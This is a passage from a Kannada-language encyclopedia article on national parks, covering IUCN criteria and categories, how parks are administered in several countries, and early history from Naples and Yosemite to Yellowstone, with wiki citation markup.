ಪ್ರಭೇದಗಳು, ಭೂರೂಪಶಾಸ್ತ್ರದ ಸ್ಥಳಗಳು ಮತ್ತು ಆವಾಸಸ್ಥಾನಗಳು ವಿಶೇಷ ವೈಜ್ಞಾನಿಕ, ಶೈಕ್ಷಣಿಕ ಮತ್ತು ಮನರಂಜನಾ ಆಸಕ್ತಿಯನ್ನು ಹೊಂದಿವೆ ಅಥವಾ ಇದು ಉತ್ತಮ ಸೌಂದರ್ಯದ ನೈಸರ್ಗಿಕ ಭೂದೃಶ್ಯವನ್ನು ಹೊಂದಿರುತ್ತದೆ. * ಇಡೀ ಪ್ರದೇಶದಲ್ಲಿ ಸಾಧ್ಯವಾದಷ್ಟು ಬೇಗ ಶೋಷಣೆ ಅಥವಾ ಉದ್ಯೋಗವನ್ನು ತಡೆಗಟ್ಟಲು ಅಥವಾ ತೊಡೆದುಹಾಕಲು ಮತ್ತು ಅದರ ಸ್ಥಾಪನೆಗೆ ಕಾರಣವಾದ ಪರಿಸರ, ಭೂರೂಪಶಾಸ್ತ್ರ ಅಥವಾ ಸೌಂದರ್ಯದ ವೈಶಿಷ್ಟ್ಯಗಳ ಗೌರವವನ್ನು ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಜಾರಿಗೊಳಿಸಲು ದೇಶದ ಉನ್ನತ ಸಮರ್ಥ ಪ್ರಾಧಿಕಾರವು ಕ್ರಮಗಳನ್ನು ತೆಗೆದುಕೊಂಡಿದೆ. * ವಿಶೇಷ ಪರಿಸ್ಥಿತಿಗಳಲ್ಲಿ, ಸ್ಪೂರ್ತಿದಾಯಕ, ಶೈಕ್ಷಣಿಕ, ಸಾಂಸ್ಕೃತಿಕ ಮತ್ತು ಮನರಂಜನಾ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಪ್ರವಾಸಿಗರನ್ನು ಪ್ರವೇಶಿಸಲು ಅನುಮತಿಸಲಾಗಿದೆ. ೧೯೭೧ ರಲ್ಲಿ, ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ಮೌಲ್ಯಮಾಪನ ಮಾಡಲು ಹೆಚ್ಚು ಸ್ಪಷ್ಟವಾದ ಮತ್ತು ವ್ಯಾಖ್ಯಾನಿಸಲಾದ ಮಾನದಂಡಗಳಿಗೆ ಕಾರಣವಾದ ಮೇಲೆ ಈ ಮಾನದಂಡಗಳನ್ನು ಮತ್ತಷ್ಟು ವಿಸ್ತರಿಸಲಾಯಿತು. ಇವುಗಳ ಸಹಿತ: * ಪ್ರಕೃತಿಯ ರಕ್ಷಣೆಗೆ ಆದ್ಯತೆ ನೀಡುವ ವಲಯಗಳಲ್ಲಿ ಕನಿಷ್ಠ ೧,೦೦೦ ಹೆಕ್ಟೇರ್ ಗಾತ್ರ * ಶಾಸನಬದ್ಧ ಕಾನೂನು ರಕ್ಷಣೆ * ಸಾಕಷ್ಟು ಪರಿಣಾಮಕಾರಿ ರಕ್ಷಣೆಯನ್ನು ಒದಗಿಸಲು ಸಾಕಷ್ಟು ಬಜೆಟ್ ಮತ್ತು ಸಿಬ್ಬಂದಿ * ಕ್ರೀಡೆ, ಬೇಟೆ, ಮೀನುಗಾರಿಕೆ, ನಿರ್ವಹಣೆಯ ಅಗತ್ಯತೆ, ಸೌಲಭ್ಯಗಳು ಇತ್ಯಾದಿ ಚಟುವಟಿಕೆಗಳಿಂದ ಅರ್ಹತೆ ಪಡೆದ ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳ (ಅಣೆಕಟ್ಟುಗಳ ಅಭಿವೃದ್ಧಿ ಸೇರಿದಂತೆ) ಶೋಷಣೆಯ ನಿಷೇಧ. ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವನ್ನು ಈಗ ಐಯುಸಿ‍ಎನ್ ನಿಂದ ವ್ಯಾಖ್ಯಾನಿಸಲಾಗಿದೆ, ಅನೇಕ ದೇಶಗಳಲ್ಲಿ ಅನೇಕ ಸಂರಕ್ಷಿತ ಪ್ರದೇಶಗಳುಐಯುಸಿ‍ಎನ್ ರಕ್ಷಿತ ಪ್ರದೇಶ ನಿರ್ವಹಣಾ ವ್ಯಾಖ್ಯಾನದ ಇತರ ವರ್ಗಗಳಿಗೆ ಸಂಬಂಧಿಸಿರುವಾಗಲೂ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ, ಉದಾಹರಣೆಗೆ: <ref name="Gissibl, B. 2012">Gissibl, B., S. Höhler and P. Kupper, 2012, ''Civilizing Nature, National Parks in Global Historical Perspective'', Berghahn, Oxford</ref> * ಸ್ವಿಸ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್, ಸ್ವಿಟ್ಜರ್ಲೆಂಡ್: ಐಯುಸಿ‍ಎನ್&nbsp;|ಎ - ಕಟ್ಟುನಿಟ್ಟಾದ ಪ್ರಕೃತಿ ಮೀಸಲು * ಎವರ್ಗ್ಲೇಡ್ಸ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್, ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್: ಐಯುಸಿ‍ಎನ್&nbsp;|ಬಿ - ವೈಲ್ಡರ್ನೆಸ್ ಏರಿಯಾ * ಕೋಲಿ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್, ಫಿನ್ಲ್ಯಾಂಡ್: ಐಯುಸಿ‍ಎನ್&nbsp;|| - ಮೇಲ್ಮೈ ಪ್ರದೇಶ * ವಿಕ್ಟೋರಿಯಾ ಫಾಲ್ಸ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್, ಜಿಂಬಾಬ್ವೆ: ಐಯುಸಿ‍ಎನ್&nbsp;| - ರಾಷ್ಟ್ರೀಯ ಸ್ಮಾರಕ * ವಿತೋಶಾ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ, ಬಲ್ಗೇರಿಯಾ: ಐಯುಸಿ‍ಎನ್&nbsp;IV - ಆವಾಸಸ್ಥಾನ ನಿರ್ವಹಣಾ ಪ್ರದೇಶ * ನ್ಯೂ ಫಾರೆಸ್ಟ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್, ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್:ಐಯುಸಿ‍ಎನ್&nbsp;ವಿ - ಸಂರಕ್ಷಿತ ಭೂದೃಶ್ಯ * ಎವ್ರೋಸ್ ಡೆಲ್ಟಾ ನ್ಯಾಷನಲ್ ವೆಟ್ಲ್ಯಾಂಡ್ ಪಾರ್ಕ್, ಗ್ರೀಸ್: ಐಯುಸಿ‍ಎನ್VI - ನಿರ್ವಹಿಸಿದ ಸಂಪನ್ಮೂಲ ಸಂರಕ್ಷಿತ ಪ್ರದೇಶ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಸರ್ಕಾರಗಳು ನಿರ್ವಹಿಸುತ್ತವೆ. ಆಸ್ಟ್ರೇಲಿಯಾದಲ್ಲಿ ಆರು ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳನ್ನು ಹೊರತುಪಡಿಸಿ ಎಲ್ಲಾ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳನ್ನು ರಾಜ್ಯ ಸರ್ಕಾರಗಳು ನಡೆಸುತ್ತವೆ. ಅವು ಫೆಡರೇಶನ್ ಆಫ್ ಆಸ್ಟ್ರೇಲಿಯಾಕ್ಕಿಂತ ಹಿಂದಿನವು. ಅದೇ ರೀತಿ ನೆದರ್ಲೆಂಡ್ಸ್‌ನಲ್ಲಿನ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳನ್ನು ಪ್ರಾಂತ್ಯಗಳು ನಿರ್ವಹಿಸುತ್ತವೆ. <ref name="Gissibl, B. 2012">Gissibl, B., S. Höhler and P. Kupper, 2012, ''Civilizing Nature, National Parks in Global Historical Perspective'', Berghahn, Oxford</ref> ಕೆನಡಾದಲ್ಲಿ ಫೆಡರಲ್ ಸರ್ಕಾರದಿಂದ ನಿರ್ವಹಿಸಲ್ಪಡುವ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು ಮತ್ತು ಪ್ರಾಂತೀಯ ಮತ್ತು ಪ್ರಾದೇಶಿಕ ಸರ್ಕಾರಗಳು ನಿರ್ವಹಿಸುವ ಪ್ರಾಂತೀಯ ಅಥವಾ ಪ್ರಾದೇಶಿಕ ಉದ್ಯಾನವನಗಳು ಇವೆ. ಆದಾಗ್ಯೂ ಐಯುಸಿ‍ಎನ್ ವ್ಯಾಖ್ಯಾನದ ಪ್ರಕಾರ ಬಹುತೇಕ ಎಲ್ಲಾ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳಾಗಿವೆ. <ref>John S. Marsh, “[https://www.thecanadianencyclopedia.ca/en/article/provincial-parks Provincial Parks],” in ''[[The Canadian Encyclopedia]]'' (Historica Canada, 2018‑05‑30), [accessed 2020‑02‑18].</ref> ಇಂಡೋನೇಷ್ಯಾ, ನೆದರ್ಲ್ಯಾಂಡ್ಸ್ ಮತ್ತು ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಮ್ ಸೇರಿದಂತೆ ಹಲವು ದೇಶಗಳಲ್ಲಿ, ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನಗಳು ಐಯುಸಿ‍ಎನ್ ವ್ಯಾಖ್ಯಾನಕ್ಕೆ ಬದ್ಧವಾಗಿಲ್ಲ. ಆದರೆ ಐಯುಸಿ‍ಎನ್ ವ್ಯಾಖ್ಯಾನಕ್ಕೆ ಬದ್ಧವಾಗಿರುವ ಕೆಲವು ಪ್ರದೇಶಗಳನ್ನು ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳಾಗಿ ಗೊತ್ತುಪಡಿಸಲಾಗಿಲ್ಲ. <ref name="Gissibl, B. 2012">Gissibl, B., S. Höhler and P. Kupper, 2012, ''Civilizing Nature, National Parks in Global Historical Perspective'', Berghahn, Oxford</ref> === ಪರಿಭಾಷೆ === ಅನೇಕ ದೇಶಗಳು ಐಯುಸಿ‍ಎನ್ ವ್ಯಾಖ್ಯಾನವನ್ನು ಅನುಸರಿಸುವುದಿಲ್ಲವಾದ್ದರಿಂದ "ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ" ಎಂಬ ಪದವನ್ನು ಸಡಿಲವಾಗಿ ಬಳಸಬಹುದು. ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌ನಲ್ಲಿ ಮತ್ತು [[ತೈವಾನ್|ತೈವಾನ್‌ನಂತಹ]] ಇತರ ಕೆಲವು ದೇಶಗಳಲ್ಲಿ "ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ"ವು ತುಲನಾತ್ಮಕವಾಗಿ ಅಭಿವೃದ್ಧಿಯಾಗದ ರಮಣೀಯವಾದ ಮತ್ತು ಪ್ರವಾಸಿಗರನ್ನು ಆಕರ್ಷಿಸುವ ಸಾಮಾನ್ಯ ಪ್ರದೇಶವನ್ನು ಸರಳವಾಗಿ ವಿವರಿಸುತ್ತದೆ. ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನದ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಗಣನೀಯ ಪ್ರಮಾಣದ ಮಾನವ ವಸಾಹತುಗಳು ಇರಬಹುದು. ಇದಕ್ಕೆ ವಿರುದ್ಧವಾಗಿ, ಮಾನದಂಡಗಳನ್ನು ಪೂರೈಸುವ ಉದ್ಯಾನವನಗಳನ್ನು "ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳು" ಎಂದು ಉಲ್ಲೇಖಿಸಲಾಗುವುದಿಲ್ಲ. ಬದಲಿಗೆ "ಸಂರಕ್ಷಿಸಿ" ಅಥವಾ "ಮೀಸಲು" ನಂತಹ ಪದಗಳನ್ನು ಬಳಸಬಹುದು. == ಇತಿಹಾಸ == === ಆರಂಭಿಕ ಉಲ್ಲೇಖಗಳು === ೧೭೩೫ ರಿಂದ ನೇಪಲ್ಸ್ ಸರ್ಕಾರವು ನೈಸರ್ಗಿಕ ಪ್ರದೇಶಗಳನ್ನು ರಕ್ಷಿಸುವ ಸಲುವಾಗಿ ಕಾನೂನುಗಳನ್ನು ಕೈಗೊಂಡಿತು. ಇದರಲ್ಲಿ ರಾಜಮನೆತನವು ಆಟಗಳಿಗೆ ಮೀಸಲಿಡಲಾದ ಪ್ರೊಸಿಡಾ ಮೊದಲ ಸಂರಕ್ಷಿತ ತಾಣವಾಗಿದೆ. <ref>{{Cite web|url=https://www.fondazionecariforli.it/downloads/files/3-La-regia-caccia-di-torre-guevara-nel-settecento.pdf|title=La "Regia Caccia" Di Torre Guevara Nel Settecento|last=Angela de Sario|website=Fondazionecariforli.it|format=PDF|access-date=28 February 2022}}</ref> ಹಿಂದಿನ ಅನೇಕ ರಾಜಮನೆತಗಳು ಬೇಟೆ ಸಂರಕ್ಷಣೆ ಮತ್ತು ಬೇಟೆಯಾಡುವ ಉದ್ಯಾನವನಕ್ಕೆ ಪ್ರಾಮುಖ್ಯತೆ ನೀಡುತ್ತಿದ್ದರು. <ref>Museo privato Agriturismo Maria Sofia di Borbone, Azienda Agricola Le Tre Querce, Seminara, Calabria, organised by the Study Centre for Environmental Education in the Mediterranean Area of Reggio, Italy</ref> ನಿಯಾಪೊಲಿಟನ್ ಸರ್ಕಾರವು ಈಗಾಗಲೇ ಅರಣ್ಯ ಪ್ರದೇಶಗಳಾಗಿ ವಿಭಜನೆ ಯಾದವುಗಳನ್ನು ಪರಿಗಣಿಸಿದೆ. ೧೮೧೦ ರಲ್ಲಿ, ಇಂಗ್ಲಿಷ್ ಕವಿ [[ವರ್ಡ್ಸ್‌ವರ್ತ್|ವಿಲಿಯಂ ವರ್ಡ್ಸ್‌ವರ್ತ್]] ಲೇಕ್ ಡಿಸ್ಟ್ರಿಕ್ಟ್ ಅನ್ನು "ಒಂದು ರೀತಿಯ ರಾಷ್ಟ್ರೀಯ ಆಸ್ತಿ, ಇದರಲ್ಲಿ ಪ್ರತಿಯೊಬ್ಬ ಮನುಷ್ಯನಿಗೆ ಹಕ್ಕು ಮತ್ತು ಆಸಕ್ತಿ ಇರುತ್ತದೆ, ಅವರು ಗ್ರಹಿಸಲು ಕಣ್ಣು ಮತ್ತು ಆನಂದಿಸಲು ಹೃದಯವನ್ನು ಹೊಂದಿದ್ದಾರೆ." <ref>{{Cite book|url=https://archive.org/details/bub_gb_idlAAAAAYAAJ|title=A guide through the district of the lakes in the north of England with a description of the scenery, &c. for the use of tourists and residents|last=Wordsworth|first=William|publisher=Hudson and Nicholson|year=1835|edition=5th|location=Kendal, England|page=[https://archive.org/details/bub_gb_idlAAAAAYAAJ/page/n122 88]|quote=sort of national property in which every man has a right and interest who has an eye to perceive and a heart to enjoy.|author-link=William Wordsworth}}</ref> ವರ್ಣಚಿತ್ರಕಾರ ಜಾರ್ಜ್ ಕ್ಯಾಟ್ಲಿನ್, ಅಮೇರಿಕನ್ ವೆಸ್ಟ್ ಮೂಲಕ ತನ್ನ ಪ್ರಯಾಣದಲ್ಲಿ, ೧೮೩೦ರ ದಶಕದಲ್ಲಿ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿರುವ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರನ್ನು ಸಂರಕ್ಷಿಸಬಹುದು ಎಂದು ಬರೆದರು "(ಸರ್ಕಾರದ ಕೆಲವು ಉತ್ತಮ ರಕ್ಷಣಾ ನೀತಿಯಿಂದ) ... ''ಭವ್ಯವಾದ ಉದ್ಯಾನವನದಲ್ಲಿ'' . . . ಮನುಷ್ಯ ಮತ್ತು ಮೃಗಗಳನ್ನು ಒಳಗೊಂಡಿರುವ ''ರಾಷ್ಟ್ರದ ಉದ್ಯಾನವನವು'' ಅವರ ಪ್ರಕೃತಿಯ ಸೌಂದರ್ಯದ ಎಲ್ಲಾ ಕಾಡು ಮತ್ತು ತಾಜಾತನದಲ್ಲಿ!" <ref>{{Cite book|url=https://books.google.com/books?id=MA4TAAAAYAAJ&q=%7C%28by+some+great+protecting+policy+of+government%29|title=Letters and Notes on the manners, customs, and condition of the North American Indians: written during eight years' travel amongst the wildest tribes of Indians in North America in 1832, 33, 34, 35, 36, 37, 38, and 39|last=Catlin|first=George|publisher=Published by the author|year=1841|volume=1|location=Egyptian Hall, Piccadilly, London|pages=261–262|author-link=George Catlin|archive-url=https://web.archive.org/web/20160501132843/https://books.google.com/books?id=MA4TAAAAYAAJ&q=%7C(by+some+great+protecting+policy+of+government)#v=snippet&q=%7C(by%20some%20great%20protecting%20policy%20of%20government)&f=false|archive-date=1 May 2016|df=dmy-all}}</ref> === ಮೊದಲ ಪ್ರಯತ್ನಗಳು: ಹಾಟ್ ಸ್ಪ್ರಿಂಗ್ಸ್, ಅರ್ಕಾನ್ಸಾಸ್ ಮತ್ತು ಯೊಸೆಮೈಟ್ ವ್ಯಾಲಿ === [[ಚಿತ್ರ:Tunnel_View,_Yosemite_Valley,_Yosemite_NP_-_Diliff.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/1/13/Tunnel_View%2C_Yosemite_Valley%2C_Yosemite_NP_-_Diliff.jpg/220px-Tunnel_View%2C_Yosemite_Valley%2C_Yosemite_NP_-_Diliff.jpg|thumb| ಯೊಸೆಮೈಟ್ ವ್ಯಾಲಿ, ಯೊಸೆಮೈಟ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್, ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ, ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್]] ೨೨ ಅಂತಹ ಸಂರಕ್ಷಿತ ಭೂಮಿಯನ್ನು ಮೀಸಲಿಡಲು ಯು‍ಎಸ್ ಫೆಡರಲ್ ಸರ್ಕಾರದ ಮೊದಲ ಪ್ರಯತ್ನವು ೨೦ ಏಪ್ರಿಲ್ ೧೮೩೨ ರಂದು ಅಧ್ಯಕ್ಷ [[ಆಂಡ್ರ್ಯೂ ಜ್ಯಾಕ್ಸನ್|ಆಂಡ್ರ್ಯೂ ಜಾಕ್ಸನ್]] ನೇ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಕಾಂಗ್ರೆಸ್ ಈಗ ಹಾಟ್ ಸ್ಪ್ರಿಂಗ್ಸ್ ಅರ್ಕಾನ್ಸಾಸ್ ಸುತ್ತಲೂ ನಾಲ್ಕು ವಿಭಾಗಗಳ ಭೂಮಿಯನ್ನು ಮೀಸಲಿಡಲು ಜಾರಿಗೆ ತಂದ ಶಾಸನಕ್ಕೆ ಸಹಿ ಹಾಕಿದಾಗ. ಯು‍ಎಸ್ನ ಭವಿಷ್ಯದ ವಿಲೇವಾರಿಗಾಗಿ ನೈಸರ್ಗಿಕ, [[ಬಿಸಿನೀರಿನ ಚಿಲುಮೆ|ಉಷ್ಣ ಬುಗ್ಗೆಗಳು]] ಮತ್ತು ಪಕ್ಕದ ಪರ್ವತಗಳನ್ನು ರಕ್ಷಿಸಲು&nbsp;ಸರ್ಕಾರ. <ref name="Shugart">{{Cite web|url=http://www.nps.gov/hosp/historyculture/upload/chronology.web.pdf|title=Hot Springs of Arkansas Through the Years: A Chronology of Events|last=Shugart|first=Sharon|year=2004|publisher=[[National Park Service]]|archive-url=https://web.archive.org/web/20080414015510/http://www.nps.gov/hosp/historyculture/upload/chronology.web.pdf|archive-date=14 April 2008|access-date=30 March 2008}}</ref> <ref>{{Cite book|title=The Public Statutes at Large of the United States of America from the Organization of the Government in 1789, to 3 March 1845, Treaties, and Proclamations of the United States of America from December 1863, to December 1865|publisher=Charles C. Little and James Brown|year=1866|editor-last=Peters, Richard|volume=4|location=Boston|page=505|chapter=Twenty-Second Congress, Session 1, Chap. 70: An Act authorizing the governor of the territory of Arkansas to lease the salt springs, in said territory, and for other purposes (April 20, 1832)|chapter-url=http://constitution.org/uslaw/sal/004_statutes_at_large.pdf|archive-url=https://web.archive.org/web/20111115233149/http://constitution.org/uslaw/sal/004_statutes_at_large.pdf|archive-date=15 November 2011|df=dmy-all}}</ref> <ref>{{Cite web|url=http://www.ourdocuments.gov/doc.php?flash=true&doc=45|title=Act Establishing Yellowstone National Park (1872)|website=Our Documents.gov|archive-url=https://web.archive.org/web/20160304200955/http://www.ourdocuments.gov/doc.php?flash=true&doc=45|archive-date=4 March 2016|access-date=9 January 2016}}</ref> ಇದನ್ನು ಹಾಟ್ ಸ್ಪ್ರಿಂಗ್ಸ್ ಮೀಸಲಾತಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು. ಆದರೆ ಯಾವುದೇ ಕಾನೂನು ಅಧಿಕಾರವನ್ನು ಸ್ಥಾಪಿಸಲಾಗಿಲ್ಲ. ಪ್ರದೇಶದ ಫೆಡರಲ್ ನಿಯಂತ್ರಣವನ್ನು ೧೮೭೭ ರವರೆಗೆ ಸ್ಪಷ್ಟವಾಗಿ ಸ್ಥಾಪಿಸಲಾಗಿಲ್ಲ. <ref name="Shugart" /> ಕಾನೂನು ಕ್ರಮದ ಬೆಳವಣಿಗೆಯಲ್ಲಿ ಪ್ರಾಣಿ ಮತ್ತು ಭೂಮಿ ಸಂರಕ್ಷಣೆಗಾಗಿ ಹೋರಾಡಿದ ಪ್ರಮುಖ ನಾಯಕರ ಕೆಲಸ ಅತ್ಯಗತ್ಯ. ಈ ನಾಯಕರಲ್ಲಿ ಅಧ್ಯಕ್ಷ ಅಬ್ರಹಾಂ ಲಿಂಕನ್, ಲಾರೆನ್ಸ್ ರಾಕ್‌ಫೆಲ್ಲರ್, ಅಧ್ಯಕ್ಷ ಥಿಯೋಡರ್ ರೂಸ್‌ವೆಲ್ಟ್, ಜಾನ್ ಮುಯಿರ್ ಮತ್ತು ಪ್ರಥಮ ಮಹಿಳೆ ಲೇಡಿ ಬರ್ಡ್ ಜಾನ್ಸನ್ ಸೇರಿದ್ದಾರೆ. <ref>{{Cite web|url=https://www.nationalparks.org/about-foundation/mission-history|title=Mission & History|website=National Park Foundation|language=en|access-date=2022-02-11}}</ref> ಯೊಸೆಮೈಟ್‌ನಲ್ಲಿನ ಕೆಲಸದಿಂದಾಗಿ ಜಾನ್ ಮುಯಿರ್ ಅವರನ್ನು ಇಂದು "ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನಗಳ ಪಿತಾಮಹ" ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. <ref>{{Cite book|title=John Muir|last=Miller|first=Barbara Kiely|publisher=Gareth Stevens|year=2008|isbn=978-0836883183|page=10}}</ref> ಅವರು ದಿ ಸೆಂಚುರಿ ಮ್ಯಾಗಜೀನ್‌ನಲ್ಲಿ ಎರಡು ಪ್ರಭಾವಶಾಲಿ ಲೇಖನಗಳನ್ನು ಪ್ರಕಟಿಸಿದರು, ಇದು ನಂತರದ ಶಾಸನಕ್ಕೆ ಆಧಾರವಾಯಿತು. <ref>John Muir. [http://www.yosemite.ca.us/john_muir_writings/the_treasures_of_the_yosemite/ "Features of the Proposed Yosemite National Park"] {{Webarchive|url=https://web.archive.org/web/20210615131855/https://www.yosemite.ca.us/john_muir_writings/the_treasures_of_the_yosemite/ |date=15 ಜೂನ್ 2021 }} ''The Century Magazine'', Vol. XL. September 1890. No. 5</ref> <ref>John Muir. [http://www.yosemite.ca.us/john_muir_writings/the_treasures_of_the_yosemite/ "The Treasures of the Yosemite"] {{Webarchive|url=https://web.archive.org/web/20210615131855/https://www.yosemite.ca.us/john_muir_writings/the_treasures_of_the_yosemite/ |date=15 ಜೂನ್ 2021 }} ''The Century Magazine'', Vol. XL. August 1890. No. 4</ref> ಅಧ್ಯಕ್ಷ [[ಅಬ್ರಹಮ್ ಲಿಂಕನ್|ಅಬ್ರಹಾಂ ಲಿಂಕನ್]] ೧ ಜುಲೈ ೧೮೬೪ರಂದು ಕಾಂಗ್ರೆಸ್ ಕಾಯಿದೆಗೆ ಸಹಿ ಹಾಕಿದರು. ಯೊಸೆಮೈಟ್ ಕಣಿವೆ ಮತ್ತು ದೈತ್ಯ ಸಿಕ್ವೊಯಸ್ನ ಮಾರಿಪೋಸಾ ಗ್ರೋವ್ (ನಂತರ ಯೊಸೆಮೈಟ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಯಿತು ) ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ ರಾಜ್ಯಕ್ಕೆ ಬಿಟ್ಟುಕೊಟ್ಟಿತು. ಈ ಮಸೂದೆಯ ಪ್ರಕಾರ, ಈ ಪ್ರದೇಶದಲ್ಲಿ ಭೂಮಿಯ ಖಾಸಗಿ ಮಾಲೀಕತ್ವವು ಇನ್ನು ಮುಂದೆ ಸಾಧ್ಯವಿಲ್ಲ. ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ ರಾಜ್ಯವನ್ನು "ಸಾರ್ವಜನಿಕ ಬಳಕೆ, ರೆಸಾರ್ಟ್ ಮತ್ತು ಮನರಂಜನೆ" ಗಾಗಿ ಉದ್ಯಾನವನವನ್ನು ನಿರ್ವಹಿಸಲು ಗೊತ್ತುಪಡಿಸಲಾಗಿದೆ. ಹತ್ತು ವರ್ಷಗಳವರೆಗೆ ಗುತ್ತಿಗೆಯನ್ನು ಅನುಮತಿಸಲಾಗಿದೆ ಮತ್ತು ಆದಾಯವನ್ನು ಸಂರಕ್ಷಣೆ ಮತ್ತು ಸುಧಾರಣೆಗೆ ಬಳಸಬೇಕಾಗಿತ್ತು. ಸಾರ್ವಜನಿಕ ಚರ್ಚೆಯು ಈ ರೀತಿಯ ಮೊದಲ ಶಾಸನವನ್ನು ಅನುಸರಿಸಿತು ಮತ್ತು ಉದ್ಯಾನವನಗಳನ್ನು ರಚಿಸುವ ಹಕ್ಕು ಸರ್ಕಾರಕ್ಕೆ ಇದೆಯೇ ಎಂಬ ಬಗ್ಗೆ ಬಿಸಿ ಚರ್ಚೆ ನಡೆಯಿತು. ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ರಾಜ್ಯವು ಯೊಸೆಮೈಟ್‌ನ ತಪ್ಪು ನಿರ್ವಹಣೆಯನ್ನು ಆರು ವರ್ಷಗಳ ನಂತರ ಅದರ ಸ್ಥಾಪನೆಯಲ್ಲಿ ಯೆಲ್ಲೊಸ್ಟೋನ್ ಅನ್ನು ರಾಷ್ಟ್ರೀಯ ನಿಯಂತ್ರಣಕ್ಕೆ ಒಳಪಡಿಸಲು ಕಾರಣವಾಗಿದೆ. <ref>Adam Wesley Dean. [https://web.archive.org/web/20141102171047/http://mtw160-198.ippl.jhu.edu/login?auth=0&type=summary&url=/journals/civil_war_history/v056/56.4.dean.pdf ''Natural Glory in the Midst of War: The Establishment of Yosemite State Park''] In: Abstract. ''Civil War History'', Volume 56, Number 4, December 2010, pp. 386–419 | 10.1353/cwh.2010.0008</ref> <ref>{{Cite book|title=38th United States Congress, Session 1, 1864. In: The Statutes at Large, Treaties, and Proclamations of the United States of America from December 1863, to December 1865|publisher=Little, Brown and Company|year=1866|editor-last=Sanger, George P.|editor-link=George P. Sanger|volume=13|location=Boston|page=325|chapter=Thirty-Eighth Congress, Session 1, Chap. 184: An Act authorizing a Grant to the State of California of the "Yo-Semite Valley" and of the Land embracing the "Mariposa Big Tree Grove" (June 30, 1864)|chapter-url=http://constitution.org/uslaw/sal/013_statutes_at_large.pdf|archive-url=https://web.archive.org/web/20111116010746/http://constitution.org/uslaw/sal/013_statutes_at_large.pdf|archive-date=16 November 2011|df=dmy-all}}</ref> === ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ: ಯೆಲ್ಲೊಸ್ಟೋನ್ === [[ಚಿತ್ರ:Grand_prismatic_spring.jpg|link=//upload.wikimedia.org/wikipedia/commons/thumb/f/f5/Grand_prismatic_spring.jpg/220px-Grand_prismatic_spring.jpg|thumb| ಯೆಲ್ಲೊಸ್ಟೋನ್ ನ್ಯಾಷನಲ್ ಪಾರ್ಕ್, ವ್ಯೋಮಿಂಗ್, ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ನಲ್ಲಿ ಗ್ರ್ಯಾಂಡ್ ಪ್ರಿಸ್ಮಾಟಿಕ್ ಸ್ಪ್ರಿಂಗ್ ; ಯೆಲ್ಲೊಸ್ಟೋನ್ ವಿಶ್ವದ ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿತ್ತು.]] ೧೮೭೨ರಲ್ಲಿ, ಯೆಲ್ಲೊಸ್ಟೋನ್ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನ್ನು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿ ಸ್ಥಾಪಿಸಲಾಯಿತು, ಇದು ವಿಶ್ವದ ಮೊದಲ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿದೆ. ಆದಾಗ್ಯೂ, ಕೆಲವು ಯುರೋಪಿಯನ್ ಮತ್ತು ಏಷ್ಯನ್ ದೇಶಗಳಲ್ಲಿ ರಾಷ್ಟ್ರೀಯ ರಕ್ಷಣೆ ಮತ್ತು ನಿಸರ್ಗ ಮೀಸಲುಗಳು ಈಗಾಗಲೇ ಅಸ್ತಿತ್ವದಲ್ಲಿವೆ - ಆದರೂ ವಿಶಿಷ್ಟವಾಗಿ ಆಟದ 